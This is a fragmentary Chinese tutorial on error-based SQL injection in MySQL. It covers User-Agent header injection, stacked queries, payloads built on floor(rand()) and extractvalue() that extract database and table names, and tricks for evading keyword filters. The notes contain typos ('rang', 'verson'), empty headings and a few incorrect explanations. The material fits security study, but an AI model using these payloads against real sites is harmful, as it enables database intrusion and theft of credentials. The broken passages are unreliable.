第四章 基于报错注入
1.User-Agent注入
-
修改消息头的User-Agent参数
单引号报错判断
-
推测语句
其源码有可能是
insert into tablename value(1,2)
那么就要闭合value()中的右括号
a',(select database())) #
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
2.Stacked queries堆叠注入
#可以执行多条SQL语句
select * from user;select * from user where id=1;
#企业全备
mysqldump -uroot -p sql_inject database_name > /tmp/a.sql
mysqldump -uroot -p -A -R -E --triggers --master-data=2 --single-transaction > full.sql
3.Error-based注入
利用MySQL的逻辑漏洞
常用函数:
floor() updatexml() extractvalue()
1.Error-based floor()
rand()返回一个随机数;floor(x)返回一个小于x的整数;count()计数
select count(*),floor(rand(0)*2)x from products group by x;
表里的数据要大于3
- 获取数据库名
1' union select 1,2,3,4,5,count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x #
select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2);
#concat 连接字符串功能
#floor 取float的整数值
#rang 取0-1之间随机浮点值
#group by 对结果集进行排序
select verson()就是我们用来做sql注入的语句
- 获取表名
#第一张表
#由于结果可能只显示一行,所以用limit函数来逐行显示
1' union select 1,2,3,4,5,count(*),concat((select table_name from information_schema.`TABlES` where table_schema=database() limit 0,1) ,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #
- 获取字段名
- 获取所需字段的值(用户名/密码)
2.基于Xpath报错
' and extractvalue(1,concat(0x7e,(select database()),0x7e,(select user()))) #
#extractvalue():接收2个参数,第一个xml文档,第二个xpath语句
#用concat构造一个错误的xpath字符串,使extractvalue函数报错,显示出构造的’错误’字符串
3.混淆和绕过
绕过检测和过滤
- 混淆注入
#关键字代换
or——————>||,and——————>&&,=——————>like
where id=1——————>limit 0,1
limit 0,1——————>group by id having id=1
#大小写转换
union——————>UniOn
#字符串拼接
union——————>UNunionION #仅适用于服务端只对字符处理只一次
#转义
——————>%20, ——————>/**/
union——————>/*!union*/